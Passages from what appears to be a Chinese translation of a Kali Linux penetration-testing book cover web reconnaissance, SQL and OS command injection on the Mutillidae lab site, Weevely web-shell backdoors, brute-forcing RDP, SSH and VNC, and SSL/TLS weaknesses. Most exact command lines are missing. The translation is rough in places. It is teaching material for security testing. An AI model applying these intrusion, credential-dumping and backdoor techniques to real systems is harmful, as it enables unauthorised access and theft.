    {"text": "7.3 对网站进行侦察 网站（提供服务的网站）是特别复杂的。通常情况下，交付给最终用户的服务使用的是多层架构的Web服务器，这些服务器面向互联网的公众开放，同时与后端服务器和位于网络上的数据库进行通信。 在测试过程中，必须考虑由复杂度引起的几个额外因素，其中包括以下内容： ·网络体系结构，包括安全控制（防火墙、IDS/IPS和蜜罐）和配置，诸如负载均衡。 ·主机网络服务系统的平台架构（硬件、操作系统和附加应用程序）。 ·应用、中间件和终极数据库，它们可能采用不同的平台（UNIX或Windows）、供应商、编程语言，以及商业和专用软件的组合。 ·认证和授权过程，包括在应用程序中保持会话状态的过程。 ·管理应用程序的基本业务逻辑。 ·客户端与网络服务的交互与通信。 鉴于网络服务的复杂性，适应每个网站的特殊架构和服务参数，对渗透测试者是非常重要的。同时，测试过程必须持续且确保没有遗漏，当前已经提出了几种方法可以实现这些目标。最广泛接受的是开放Web应用安全项目（Open Web Application Security Project，OWASP）（ www.owasp.org ），它列出了十大漏洞。 作为一个最低标准，OWASP向测试人员提供了一种强有力的方向。然而，只专注于前10个漏洞显然不具有前瞻性，并且该方法已经展示了一些缺口，特别是用该方法去寻找应用程序如何支撑商业活动的逻辑漏洞时。 在使用“杀链”方法时，针对一些特定于网络服务侦察的活动，需要强调以下几点内容： ·确定目标站点，特别是关于在哪里，以及它是如何托管的。 ·枚举目标网站的目录结构和文件，包括确定是否在用一个内容管理系统（Content Management System，CMS）。这可能包括下载网站做离线分析，如文档的元数据分析，并利用网站创建一个自定义词表（使用密码破解程序，如crunch）。它还确保识别所有支持文件。 ·确定身份验证和授权机制，并确定在与网络服务的交易中，如何维护会话的状态。这通常包括对cookies的分析和它们是如何使用的。 ·枚举所有的表格。这些是用户输入数据以及与Web服务进行交互的主要手段，这些都是一些可利用的漏洞的具体地点，如SQL注入攻击、跨站脚本。 ·识别接受输入的其他领域，如允许文件上传的页面，以及可接受的上传文件类型的任何限制。 ·标识如何处理错误，并且由用户接收的实际的错误消息；往往该错误将提供有价值的内部信息，如使用软件的版本或内部的文件名和进程。 ·确定哪些页面需要和保持安全套接字层协议或其他安全协议（参见第10章）。 首先进行如前所述的被动侦察和主动侦察（参见第2章和第3章）；尤其确保识别托管的网站，然后使用DNS映射来标识由相同的服务器提供服务的主机位置（攻击最常见和最成功的方法之一，是攻击位于目标服务器同一物理位置的非目标主机网站，利用服务器的弱点来获得root权限，然后使用特权升级攻击目标网站）。 7.3.1 Web应用防火墙和负载均衡检测 下一步是确定存在的基于网络的防护设备，如防火墙、IDS/IPS和蜜罐技术。一个越来越普遍的保护装置是Web应用防火墙（Web Application Firewall，WAF）。 如果正在使用WAF，测试人员必须通过编码来确保绕过WAF，尤其是那些依赖于手工输入的攻击。 WAF可以通过手动检查cookie（一些WAF标签或修改cookie，涉及Web服务器和客户端之间的通信），或者通过改变报头信息来识别（当一个测试者使用命令行工具连接到端口80时，会被识别）。 WAF检测过程中，可以自动使用nmap的脚本，http-waf-detect.nse，如图7.3所示。 图7.3 WAF检测过程 nmap脚本识别一个WAF的存在。然而，脚本测试已经表明，它并不总是得到准确的结果，返回的数据可能过于笼统，以致不能引导一个有效策略来绕过防火墙。 wafw00f脚本是一个自动化的工具，可以识别和提取基于网络的防火墙指纹；试验已确定它是用于此目的最准确的工具。该脚本很容易从Kali调用，一个样本的输出如图7.4所示。 图7.4 wafw00f脚本检测 负载均衡器（Load Balancing Detector，LBD）是一个bash shell脚本，确定一个给定的域是否使用DNS或HTTP负载均衡。这是从测试者的角度得到的很重要的信息，因为当测试了一个服务器，它可以解释看似反常的结果，然后负载均衡器开关要求不同的服务器。lbd采用多种检查来识别负载均衡的存在。一个样本的输出如图7.5所示。 图7.5 使用lbd"},
    {"text": "7.3.2 指纹识别Web应用和CMS Web应用指纹识别是渗透测试人员了解运行的Web服务器、Web技术版本和类型时的第一个任务，该技术允许攻击者确定已知的漏洞并适当利用。 攻击者可以使用命令行工具去连接远程主机。例如，在图7.6中，我们使用netcat命令连接到受害者主机上的80端口，并发出HTTP HEAD命令来确定在服务器上运行的是什么，在HTTP服务器的响应中得到结果；包括运行在Web服务器上的应用程序的类型，X-power-By部分提供了应用构建技术的详细版本信息，在本例中是PHP 5.5.38。 图7.6 HTTP HEAD命令截图 现在，攻击者可以确定资源的漏洞，比如CVE details（ https://www.cvedetails.com/vulnerabilit-list/vendor_id-74/product_id-128/PHPPHP.html ）： 渗透测试员的最终目标是获取敏感信息。该网站应进行检查以确定可用于建立和维护它的CMS。CMS应用程序如Drupal、Joomla和WordPress，其中之一可能是使用有漏洞的管理界面配置的，这种配置允许一个访问提升权限，或访问可能含有可利用的漏洞。 Kali包括一台自动扫描仪——BlindElephant，用于提取CMS指纹来确定版本信息。一个例子的输出，如图7.7所示。 图7.7 使用BlindElephant的屏幕截图 BlindElephant回顾了CMS组件的指纹图谱，然后为目前所存在的版本提供了一个最好的猜测。然而，像其他的应用，我们已经发现它可能无法检测CMS；因此，总是需要验证其他扫描结果，针对为特定的目录和文件抓取网站的其他扫描仪内容，或手动检查站点。 一个特定的扫描工具，如自动化网络爬虫，可用来验证已收集的信息，以及确定特定网站的现有的目录和文件结构。网络爬虫的典型表现包括管理门户、配置文件（当前及以前的版本），可能包含内部硬编码访问凭据、内部结构信息、网站的备份副本、管理员笔记、机密的个人信息和源代码。 卡利支持多种网络爬虫，包括Burp Suite、DirBuster、OWASP-ZAP、Vega、WebScarab和WebSlayer。最常用的工具是DirBuster。 DirBuster是图形用户界面驱动的，使用可能的目录和文件列表，对网站的结构进行蛮力分析的应用程序。可以在一个表或树中查看响应，并且能准确地反映网站的结构。针对目标网站执行该程序的输出如图7.8所示。 图7.8 使用DirBuster强力分析网站结构 7.3.3 利用命令行设置镜像网站 攻击者经常会花很多时间在识别特定页面/URL地址漏洞上，所以一个基本步骤就是克隆或下载所有可用的本地网站信息，来缩小正确的入口点，或者执行社会工程攻击来收集电子邮件地址和其他相关信息。 另外，也可以直接复制一个网站到测试者的位置。这个“克隆网站”允许测试人员轻松审查本地文件目录结构及其内容，提取元数据，并使用该网站的内容作为程序的输入，如crunch，这将产生一个个性化的词库来支持密码破解。 如果你已经映射网站或网络服务的基本结构，那么杀链的下一个阶段就是确定可被利用的漏洞。 Kali提供了一个内置的应用httrack，可将网站内容克隆到本地系统。httrack是命令行，同时也是GUI的，一个广泛使用工具。攻击者可以直接发出命令httrack http://targetwebapp/-O outputfolder ，如图7.9所示。 图7.9 使用httrack 当httrack执行完成，测试人员就能够在本地加载应用程序并获取信息、识别漏洞。 7.4 客户端代理 客户端代理截获HTTP和HTTPS通信，允许渗透测试人员检查用户与应用程序之间的通信。它允许测试人员复制数据或与发送应用请求进行交互。客户端代理最初被设计用来调试应用程序并纠正功能错误，这个功能可被攻击者滥用来执行中间人攻击。 Kali带有几个客户端代理，包括Burp Suite、OWASP ZAP、Paros、ProxyStrike，漏洞扫描器Vega和WebScarab。经过广泛的测试，我们已经开始依赖Burp代理，将ZAP作为一个备份工具。在本节中，我们将主要介绍关于Burp Suite的内容。"},
    {"text": "7.4.1 Burp代理 Burp主要用于拦截HTTP（S）流量；然而，这是一个更大的工具套件，具有几个附加功能，其中包括的一部分如下： ·应用感知蜘蛛用于爬行站点。 ·漏洞扫描器，包括序列发生器，以测试会话令牌的随机性，并转发操作和重新发送客户端与网站之间的请求（Kali中打包的Burp代理的免费版不包含漏洞扫描程序中）。 ·入侵者的工具，可以用来发动自定义的攻击（Kali中包含的免费版本的工具的速度会受到限制；如果你购买了软件的商业版本，将不受这些限制）。 ·能够编辑现有的插件或写新的插件，以扩展可以使用的攻击的数量和类型。 要使用Burp，确保你的Web浏览器配置为使用本地代理；通常情况下，你需要调整网络设置，来指定HTTP和HTTPS流量必须在本地主机（127.0.0.1）的端口8080使用。 设置浏览器和代理一起工作后，手动映射应用程序。通过关闭代理拦截，然后浏览整个应用程序可以完成这一步。按照每一个环节，递交表格并登录到该网站尽可能多的领域。从不同的响应，可以推断出一些额外的内容。站点地图将填充Target选项卡内的区域（自动爬行也可以使用鼠标右键单击该网站，并选择Spider This Host；然而，手工技术给测试者提供了一个深入了解目标的机会，并且它可以识别要避免的区域）。 一旦目标被映射，通过选择站点地图中的分支来定义目标–范围，并使用Add to Scope命令。一旦完成，你可以使用显示过滤器隐藏在站点地图上不感兴趣的项目。目标网站创建的站点地图如图7.10所示。 一旦爬虫任务完成，人工检查的目录和文件列表不是公共网站的一部分，或无意中公开出现的任何结构，例如，目录名为管理、备份、文档，或笔记，都应进行人工审查。 手动测试使用单引号作为输入产生错误代码的提示，它可能是一个容易受到SQL注入攻击的登录页面，错误代码的样本返回显示，如图7.11所示。 图7.10 目标网站创建的站点地图 图7.11 返回错误信息 代理的真正实力在于它截获并修改命令的能力。在这个特殊的例子中，我们将使用Mutillidae网站（一个安装为Metasploitable测试框架的一部分的“破碎”站点，以绕过SQL注入的认证）。 要发动这种攻击，确保Burp代理配置拦截通信，转到Proxy标签，再选择Intercept（拦截）子选项卡。点击Intercept is on按钮，如图7.12所示。准备工作完成后，打开浏览器窗口，并通过输入<IP address>/mutillidae/index.php?page=login.php，访问Mutillidae登录页。输入用户名和密码，然后点击登录按钮。 如果你返回Burp代理，将会看到该用户输入到网页上的表格中的信息被截获。 图7.12 Burp拦截的信息 单击Action按钮，并选择Send to Intruder（发送到入侵者）选项。打开主Intruder选项卡，你会看到4个子项：Target、Positions、Payloads和Options，如图7.13所示。如果选择Positions，你会看到来自截获的信息的5个有效载荷的位置。 图7.13 Intruder选项卡 这种攻击将使用Burp代理的狙击手模式，同时，从由测试仪提供的列表中选取单一输入表单，同时，发送该输入到一个单一的有效载荷位置。在这个例子中，我们的目标是用户名字段，它是我们基于返回的错误信息怀疑的漏洞所在。 定义有效载荷的位置，我们选择子标签的Payloads选项，如图7.14所示。 图7.14 选择Payloads选项 为了发动攻击，从顶部的菜单选择Intruder，然后选择Start Attack。代理将遍历单词表，对选定的有效载荷位置作为合法的HTTP请求，它将返回服务器的状态代码。正如你可以在图7.15中看到的，大多数选项生产200（请求成功）的状态代码；然而，一些数据返回的是302（请求找到；表明所请求的资源目前位于不同的URI下）的状态代码。 出现302状态表示攻击成功，并且所获得的数据可以用来成功登录到目标位置。 不幸的是，对Burp代理及其功能的概述实在太简单。Kali中的免费版Burp可以满足许多测试任务；然而，严谨的测试者（和攻击者）应该考虑购买商业版本。"},
    {"text": "7.4.2 扩展Web浏览器的功能 Web浏览器是为与网络服务交互而设计的。它们被选择作为易受到攻击评估和利用的工具是自然而然的事。 这种类型的工具的最好的例子是OWASP的Mantra，一个基于Firefox浏览器上的第三方安全实用程序的集合。OWASP的Mantra支持Windows、Linux和Macintosh的测试系统，并提供了支持以下活动的实用访问： ·信息采集（information gathering）：这些工具提供被动侦察，报告目标的物理位置，揭露底层的站点技术和搜索网站的超链接测试。 ·编辑器（editors）：实用编辑程序的集合，编辑、调试、监控HTML、CSS和JavaScript。 图7.15 攻击返回的状态代码 ·代理（proxy）：提供代理管理工具，包括FoxyProxy，一个便于在代理之间来回切换的工具。 ·网络实用工具（network utilities）：这些工具为客户提供FTP和SSH通信，并简化DNS缓存管理。 ·应用审计（application auditing）：各种用户代理之间的切换，访问Web开发工具，控制每个站点的HTTP连接发送，发现SQL注入，XSS漏洞，允许测试人员篡改数据，以及访问Websecurify工具。 ·其他（miscellaneous）：生成脚本，会话管理和下载，以及访问加密、解密和散列标签功能。 该Mantra框架可用于促进对网站的半自动化侦察。 在图7.16中，Mutillidae登录页面已在Mantra浏览器中打开。使用下拉菜单（右上角激活蓝色标识）时，SQL Inject Me应用的申请——已选自可用的工具中，并显示在左侧面板。 7.4.3 Web抓取和目录的暴力攻击 Web抓取是一种使用机器人或自动化脚本从网站获取特定信息的过程。Kali为执行此活动提供了内置的应用程序。Web抓取的好处是可以擦除所有的数据，而不必手工地逐个擦除。 图7.16 使用Mantra打开Mutillidae登录页面 攻击者可以利用WebSploit来执行Web扫描、抓取和分析。例如，为了在多个站点上识别phpmyadmin，攻击者可以通过在终端上运行WebSploit来配置WebSploit模块，使用use web/pma，通过设置目标受害者（set target victim）来设置目标主机，运行后如图7.17所示。 图7.17 使用use web/pmad 攻击者还可以使用dirb、OWASP DirBuster和其他工具来执行相同的操作。 7.4.4 具体网络服务的漏洞扫描器 漏洞扫描器是自动运行的应用程序，也是确定已知漏洞签名的工具。 Kali附带了几个预安装的漏洞扫描器；可以通过导航访问依次选择Kali Linux|Web Applications|Web Vulnerability。渗透测试者通常会使用两个或三个全面扫描仪对同一标扫描，以确保有效的结果。需要注意的是一些漏洞扫描器也包括攻击的功能。 漏洞扫描器是很“嘈杂”的，并且通常是由受害人检测。然而，作为常规的跨互联网背景探索的一部分，扫描经常被忽略。事实上，一些攻击者已经知道通过发动大规模扫描，针对目标作伪装真实的攻击，或者诱使防护者禁用检测系统，以减少他们必须管理的报告的数量。 表7.1为最重要的漏洞扫描器的快速回顾。 表7.1 重要漏洞扫描器 Kali还包括一些特殊应用的漏洞扫描器。例如，WPScan是专门针对WordPress CMS应用的。 7.5 针对特定应用的攻击 针对特定应用的攻击，多于针对特定操作系统的攻击；当人们考虑到错误配置、漏洞和逻辑错误可能影响到每个在线的应用时，这是令人惊讶的，任何应用程序都可以被认为是“安全的”。我们将重点介绍一些对Web服务的更重要的攻击。 7.5.1 暴力破解访问证书 一个对网站或其服务最常见的初始攻击，是针对接入认证猜测的用户名和密码穷举攻击。这种攻击有很高的成功率，因为用户往往选择容易记住的凭据或重用凭据，并且系统管理员经常不控制多路访问尝试。 Kali配备了hydra（一个命令行工具）和hydra-GTK（它有一个GUI界面）。这两种工具允许测试人员蛮力或重用可能的用户名和密码，以攻击特定的服务。多种通信协议支持该应用，包括FTP、FTPS、HTTP、HTTPS、ICQ、IRC、LDAP、MySQL、Oracle、POP3、pcAnywhere、SNMP、SSH、VNC，等等。hydra使用蛮力攻击判定的HTTP页面访问证书，如图7.18所示。 图7.18 使用hydra进行攻击 7.5.2 使用commix的OS命令行注入 命令行注入开发（commix）是一种用Python编写的自动化工具，在Kali Linux中进行预编译；如果应用能够被命令注入，则它可以执行各种OS命令。它允许攻击者在应用，甚至在HTTP头中有漏洞的部分进行注入。commix还在各种渗透测试框架中作为附加插件，如渗透测试框架（Penetration Testers framework，PTF）和OWASP的攻击Web测试框架（Offensive Web Testing Framework，OWTF）。 通过在终端中输入commix–h，攻击者可以使用commix提供的所有功能。 为了模拟使用commix的开发，我们将在有漏洞的Web服务器终端上执行如下命令： 渗透测试人员能够看到在目标服务器上执行命令的进度，以及漏洞的参数。在前述场景中，target_host是使用经典注入技术注入的，如图7.19所示。 图7.19 使用target-host注入 一旦注入成功，攻击者现在可以在服务器上运行任何类型的命令，例如dir，列出所有的文件和文件夹，如图7.20所示。 图7.20 commix成功后使用dir命令列出所有的文件和文件夹"},
    {"text": "7.5.3 数据库注入攻击 网站最常见并且可利用的漏洞是注入漏洞，当受害者网站不监控用户输入，允许攻击者与后台系统进行交互时，将发生注入攻击。攻击者可以通过精心设计的输入数据以修改或从数据库窃取内容，将一个可执行软件放到服务器上，或发出指令给操作系统。 其中，评估SQL注入漏洞最有用的工具是sqlmap，它是一个Python工具，可以自动开启Firebird、MicrosoftSQL、MySQL、Oracle、PostgreSQL、Sybase、SAP MaxDB数据库的侦测和利用。 我们将展示针对Mutillidae数据库的SQL注入攻击。第一步是确定Web服务器，后台数据库管理系统和可用的数据库。 启动Metasploitable虚拟机，并访问Mutillidae网站。完成后，查看网页以确定一个接受用户输入的页面（即接收用户名和密码的页面，例如，远程用户登录的表单）；这些页面可能容易受到SQL注入攻击。然后打开Kali，并在命令提示符下输入以下内容（使用相应的目标IP地址）： sqlmap返回的数据如图7.21所示。 图7.21 使用sqlmap返回数据 最有可能用来存储应用程序的数据的数据库是nowasp数据库，因此，我们将使用以下命令检查数据库的所有表项： 执行上述命令后返回的数据如图7.22所示。 图7.22 显示owasp10数据库表项 所有的表都被列举，其中一个表的标题是accounts（见图7.23）。我们将试图从该部分表中转储数据。如果成功，该账号凭据也将使我们返回数据库，即使进一步的SQL注入攻击失败。 为了转储凭据，请使用以下命令： 图7.23 执行上述命令 类似的攻击可以用于从数据库中提取信用卡号码或其他确定信息。 7.6 使用WebShells维持访问 一旦入侵一台Web服务器及其服务，最重要的任务就是确保可以维持安全访问。这通常借助于一个网络外壳小程序来提供隐身后门进入，并允许使用系统命令，以方便进行后期利用活动。 Kali附带了几个Web Shell。在这里，我们将使用流行的PHP网络外壳小程序Weevely。 Weevely模拟一个远程会话，并允许测试者或攻击者利用超过30个模块进行后期开发利用，包括以下优势： ·浏览目标文件系统。 ·从受感染的系统进行文件传输。 ·对执行审计的通用服务器配置错误。 ·通过目标系统暴力破解SQL账户。 ·产生逆向TCP外壳。 ·在已被侵入的远程系统上执行命令，即使已应用PHP的安全性限制。 最后，Weevely努力隐藏HTTP cookies以逃避侦察。要创建Weevely，从命令提示符下输入以下命令： 这将在根目录下创建文件weevely.php。在已被侵入的远程系统上执行命令，即使已应用PHP的安全性限制；执行weevely的结果如图7.24所示。 图7.24 执行Weevely的结果 使用文件上传漏洞或其他任何入侵点，包括提供访问meterpreter进行文件上传的功能，上传weevely.php到被感染的网站。 要与网络外壳进行通信，从命令提示符输入以下命令，以确保目标的地址、目录和密码变量被改变，以反映出那些被感染的系统： 在图7.25所示的例子中，我们已经证实。连接到了网络外壳，使用dir命令来获取一个文件列表（这再次证实了源网络外壳连接到了weevely.php）。 图7.25 执行dir命令 网络外壳也可以用来建立一个反向外壳，连接返回到测试器，使用任一Netcat的或Metasploit的框架作为本地侦听器。这也可用以通过水平或垂直逐步提升特权来进一步攻击网络内部。 7.7 小结 在本章中，我们研究了网站以及服务，本章提供了从攻击者的角度来看授权用户的服务。我们以杀链的角度来看Web服务，目的是了解侦察和漏洞扫描的正确应用。 本章介绍了以下几种技术：首先我们关注黑客攻击Web应用时的心态，以及对Web应用进行渗透测试所使用的方法；然后，学习了如何使用客户端代理完成各种攻击，还学习了一系列暴力破解网站的工具，以及如何通过Web应用运行操作系统级命令。最后回顾了一些精选漏洞，并介绍了一种针对Web服务的网络外壳。"},
    {"text": "第8章 攻击远程访问 “对于攻击者来说，这一切都是为了方便地远程访问所有的事物。” 在第7章中，我们采用了杀链方法攻击基于Web的应用程序。我们对侦察、漏洞扫描和那些针对网址和其他应用程序的特殊利用方法进行了介绍。同时我们也对那些评估Web应用程序所需的独特工具进行了研究，特别是客户端代理和已开发的工具，如网络外壳。 在本章中，我们将关注在互联网上已经广泛传播的，入侵远程访问通信的设备和应用程序。 攻击者可以利用远程访问通信的普遍性实现以下目标： ·利用已有的通信信道，获取对目标系统的直接远程访问。 ·截获通信信息。 ·拒绝已经通过身份认证的用户获得常规通信，且迫使他们使用容易受到其他攻击的不安全的信道。 截至2016年年初，SSL版本2.0、3.0和TLS vs.被宣布为死亡，尽管互联网上的绝大多数网站仍然使用相同的技术。然而，由于某些浏览器不支持它们，这些脆弱的技术都被搁置了，并且一些产品的设计只是出于安全性的考虑才使用这些协议。这些攻击可能对通信受损害者，以及与受害者的在线通信产生重大影响。 本章将关注属于远程访问通信的侦察和杀链的利用阶段。像战争拨号、语音IP和相关电话问题、专业亭等高度专用的系统以及复杂应用程序等不是本书所介绍的主题。 通过本章，你可以学到如下知识： ·利用操作系统通信协议（RDP和SSH）。 ·为安全套接字层版本2和版本3扫描配置Kali。 ·安全套接字层的侦察和利用，包括中间人和DoS攻击。 ·攻击一个虚拟专用网络。 8.1 利用通信协议漏洞 一些协议可以不受阻碍地传输访问凭证（如Telnet和FTP）。使用一个如Wireshark的包嗅探器，攻击者即可截获并重用该凭证。 然而，大多数远程访问协议，尤其是那些嵌入操作系统的，现在均受访问控制和加密的保护。虽然这在一定程度上增加了安全性，但它们仍然可能受到由于配置错误，或弱加密密钥的使用，所产生的攻击。本章我们将检查可以被用来破解所谓安全通信信道的其他风险。 8.1.1 破解远程桌面协议 远程桌面协议（Remote Desktop Protocol，RDP）是一个微软通信专有协议，它允许客户机与另一台使用图形界面的计算机连接。虽然协议是加密的，但如果攻击者可以猜得用户名和密码，就可以访问该服务器。 应该注意的是，最常见的RDP的入侵是在社会工程学中使用的。远程服务技术员联系用户，并说服用户他们需要远程访问用户的系统，并在系统上解决某些问题。现在，攻击目标的RDP协议的恶意软件也变得越来越普遍了。 从测试者（或攻击者）的角度来看，破解目标RDP服务的第一步是定位该RDP服务器，并确定它所使用的密码所具有的强度特征。这个侦察通常使用nmap等工具进行引导，并被配置成标准的RDP扫描端口，端口号为3389。 现在的nmap工具，包含提供RDP附加详细信息的专用脚本，其中包括加密的配置。如果时间允许，并且隐身行动不是一个重要问题，这些都应该在初始扫描阶段被使用。命令行调用枚举支持加密协议的脚本如下： 前面命令的执行结果如图8.1所示。 图8.1 运行nmap查看RDP信息 一些RDP漏洞已经被确定（特别是MS12-020），而这些漏洞可以被精心设计的数据包远程使用。 使用合适的nmap脚本，通过调用如下命令行，可以确定当前版本的RDP是否含有漏洞： 上述命令的执行结果如图8.2所示。 图8.2 运行nmap确定RDP是否含有漏洞 一旦使用nmap确定了系统漏洞，就可以被Metasploit框架下的auxiliary/dos/windows/rdp/ms12_020_maxchannelids模块利用，进而导致拒绝服务攻击。 最常见的破解RDP的方法是根据一本最常见的用户名和密码的字典（也可以是根据目标特点，使用工具如CeWL和crunch，构造针对目标的特定字典，暴力破解使用这些字典，比尝试使用通用字典更快、更为隐秘，因为它们产生的网络流量更少）使用暴力攻击。 Kali提供了一些暴力破解工具，包括hydra、medusa、ncrack和patator。通过测试，我们发现，就速度和效率而言，ncrack是最可靠的。 从几个来源列出的常见用户名和密码都是可用的。大多数破解工具，特别是hydra、ncrack和john（John the Ripper），包括在应用程序主目录的列表中。测试人员也可以从网上下载各种类型的列表。从破解的用户账户产生的列表是最有用的，因为它们反映了现实世界使用的身份认证信息。不管你使用什么样的列表，你可能希望通过添加现任和前任员工的名字（用户名），或使用如CeWL的工具创建的单词列表把测试人性化，CeWL可以爬入目标网站并创建固定长度的单词。 ncrack是一种支持FTP、HTTP（S）、POP3、RDP、SMB、SSH、Telnet和VNC协议的高速验证破解工具。它从终端窗口被调用，使用以下命令： 上述命令的执行结果如图8.3所示。 图8.3 运行ncrack-vv-U命令 ncrack工具可以在大约1700秒内发现所有用户的访问凭证。然而，所需的时间量将取决于所使用的字典的整体大小，以及在一个成功访问之前必须进行的猜测次数。"},
    {"text": "8.1.2 破解安全外壳 安全外壳（SSH）协议，是一种用于在服务器和客户机之间的开放网络上，建立加密信道的网络协议。通常，一个公私密钥对允许用户在不需要口令的情况下登录到一个系统。公钥保存在所有需要安全连接的系统上，然而，用户保存私钥。身份认证是基于私钥的；SSH根据相应的公钥验证私钥。在目标系统上，公钥是由远程访问系统所允许的授权密钥来验证的。当公钥密码强度不够，且可以猜到时，这种所谓的安全通信信道将是不安全的。 像RDP一样，SSH的一个弱点是容易受到用户猜测访问凭证的暴力攻击。对于这种特定的情况，我们将使用hydra工具。hydra可能是最古老的暴力工具，且被认为是功能最丰富的工具。它还支持攻击大量的目标协议。 hydra工具可以通过导航——Kali Linux|Password Attacks|Online Attacks来发现，它也可以直接从命令行被调用。hydra有两个版本：命令行版本（hydra）和GUI版本（hydragtk）。对于这个示例，我们从命令行调用hydra，使用以下命令： 命令的参数描述如下： ·-s指定使用的端口号。尽管当默认端口被使用时，它不需要被输入，但它可用来消除歧义；因为，在这种情况下，它可以加速测试。 ·-v和-V选择最大冗长的报告。 ·-L选择登录或用户名文件。 ·-P选择口令文件。 ·-t选择并行任务或连接的数量。数量越大，测试越快。然而，如果数目过高，可能引入错误，而且正确的密码将会丢失。 图8.4展示了最初暴力攻击的详细输出。 图8.4 运行hydra攻击的详细输出 当使用字典成功登录时，hydra记录端口、协议、主机和登录凭证。然后继续使用字典确定其他可能的账户。在图8.5的最上面一行，hydra已经用登录名root和登录密码hacker！@1正确识别了一个SSH账户；图8.5也显示了其他的尝试，hydra试图确定其他的附加账户。 图8.5 hydra使用字典攻击 如果你知道密码配置，你也可以让hydra用以下命令在忙碌时自动创建密码列表： 对前面命令中所使用参数，描述如下： ·-x指导hydra自动创建在暴力攻击中使用的密码。密码将根据-x后的参数创建。 ·6：8表明最小密码长度为6个字符，最大密码长度为8个字符。 ·aA1将使用字母和数字的组合自动创建密码。它使用所有的小写字母（比如a）、所有大写字母（比如A）和数字0到9（比如1）。 你也可以添加特殊字符生成列表，但是，这时你需要在-x选项附近添加单引号，如下命令所示： 8.1.3 破解远程访问协议 用于提供远程访问的旁路系统协议应用程序，曾经广受欢迎。虽然它们将被GoToMyPC或LogMeIn等在线服务所取代，但它们仍然相当普遍。这样的程序例子包括pcAnywhere和VNC。应该指出的是，由于系统管理员的合法操作，这些工具实例可能存在于网络上。然而，它们也可能存在于已被入侵的网络，因为攻击者想要一种远程访问网络的工具。 在接下来的例子中，我们将使用Metasploit框架内置的功能破解VNC。 1.使用nmap定位目标远程访问软件。如图8.6所示，VNC通常是在TCP的端口号5900处被发现。 图8.6 使用nmap定位VNC 2.在终端窗口中使用msfconsole命令激活Metasploit框架。在msf的提示下，通过配置来入侵VNC，如图8.7所示。 图8.7 使用配置入侵VNC 3.如图8.8所示，启动run命令，并观察成功后的效果。 图8.8 执行run命令 4.最后，一旦Metasploit通过使用vncviewer登录到VNC客户端，确定了凭证并对其进行了验证。即可在终端窗口命令提示符下输入以下命令： 这将连接远程主机且提示你输入正确的凭证。当身份验证成功后，将打开一个新的窗口，允许你远程访问目标系统。如图8.9所示，通过发起whoami查询和请求系统的ID或IP地址，确定你已成功登录该目标系统。 图8.9 成功认证 8.2 攻击安全套接字层 安全套接字层（Secure Sockets Layer，SSL）和它的继承者，安全传输层（Transport Layer Security，TLS）是用于在互联网上提供安全通信的加密协议。这些协议被广泛应用于互联网通信、电子邮件、网页浏览和IP电话等应用的安全程序上。 这些协议在互联网上普遍存在；然而，它们起源于20世纪90年代中期，随着年龄的增长，它们受到的攻击越来越多。SSL2.版本（版本1.0从未公开发布）包含了大量可以利用的缺陷，例如较弱的密钥控制和中间人攻击的弱点。随着新的攻击如BEAST、POODEL、CRIME、Logjam、BREACH的出现，SSL3.0版本最近无疑发现了缺陷。虽然大多数用户已经实现了新版本的TLS，错误配置的系统可能仍然允许使用早期不安全的版本。"},
    {"text": "8.2.1 SSL协议的弱点和漏洞 SSL和TLS提供的两个主要安全功能是加密与验证登录服务器。后者是使用证书进行。服务器证书应该由信任的第三方发出，以验证公司和服务器是否合法。自签名证书不是由受信任的第三方发布的，而是由使用证书的组织颁发的。 我们在过去十年中注意到的常见的弱点是弱密码加密、浏览器的可用性和兼容性。 SSL 3.0仍被认为比TLS 1.0和TLS 1.2不可取。SSL 3.0一半的成就是在大多数基于MD5和SHA-1的主密钥中实现弱密钥的推导。 在本节中，我们发现了一系列将被攻击者利用的SSL漏洞： 针对SSL和TLS（BEAST）的浏览器利用，攻击者利用了客户端浏览器使用SSL/TLS协议连接服务器时正在建立的密码套件。 1.浏览器识别和通过超文本自适应压缩渗出（BREACH） 该压缩算法允许攻击者操纵HTTP压缩技术使用提取的受保护的数据，如电子邮件ID、会话令牌HTTPS和其他文本字符串。 2.信息压缩率容易泄露信息（CRIME） 攻击者的目标是捕捉在连接时使用的HTTPS协议和快速（SPDY）协议，利用TLS压缩数据与浏览器发送的密文数据比较来确定会话期间，或受害者的加密会话密文的大小，典型的是执行会话重放攻击。 3.在RSA输出键上因子分解攻击（FREAK） 这种攻击是特定条件下进行的：一个服务器，支持RSA密码套件，并且客户必须提供RSA出口套件，或者使用AppleSecureTransport，或者必须有漏洞的OpenSSL，或必须使用安全信道。 4.Heartbleed（心脏流血） 启用SSL/TLS，攻击者在OpenSSL加密库中专门利用此漏洞，访问加密密钥、内存中的用户凭据，诸如信用卡号和其他泄露的内存内容。 5.不安全的TLS协商 这种攻击通常表现为中间人攻击，攻击者与服务器继续协商，而客户端假设连接仍在协商中，等待对方响应。 6.僵局的攻击 通常，攻击者为了降低512位密钥的密码套件，使用DHE_EXPORT密码套件，为了破解密钥，再次执行中间人攻击。如果密钥破解，那么他们就能提取会话信息。 7.传统加密要求的Oracle填充（POODLE） 如果服务器接受SSLv3协议，攻击者可以执行中间人攻击（MITM），拦截加密的连接将密文转换为明文，这里没有消息的完整性。 8.2.2 Testssl的介绍 所有上述漏洞可以利用工具Testssl测试，下载地址为： https://testssl.sh/testssl.sh 。 Testssl是一个免费的命令行工具，为SSL/TLS服务器实现任何端口的检查：密码套件、协议、最近的加密缺陷。 完成Testssl下载，运行chmod+x testssl.sh命令改变文件许可；启动脚本如图8.10所示。 攻击者运行./testssl.sh<target URI>，利用通配符扫描发现漏洞，这将产生从协议连接到浏览器模拟的所有输出，如图8.11所示。 图8.10 启动testssl.sh 图8.11 运行./testssl.sh<tatget URL>产生的输出 如果测试人员要检查任何特定的漏洞，他们可以自定义命令./testssl.sh--heartbleed https://target.com 。"},
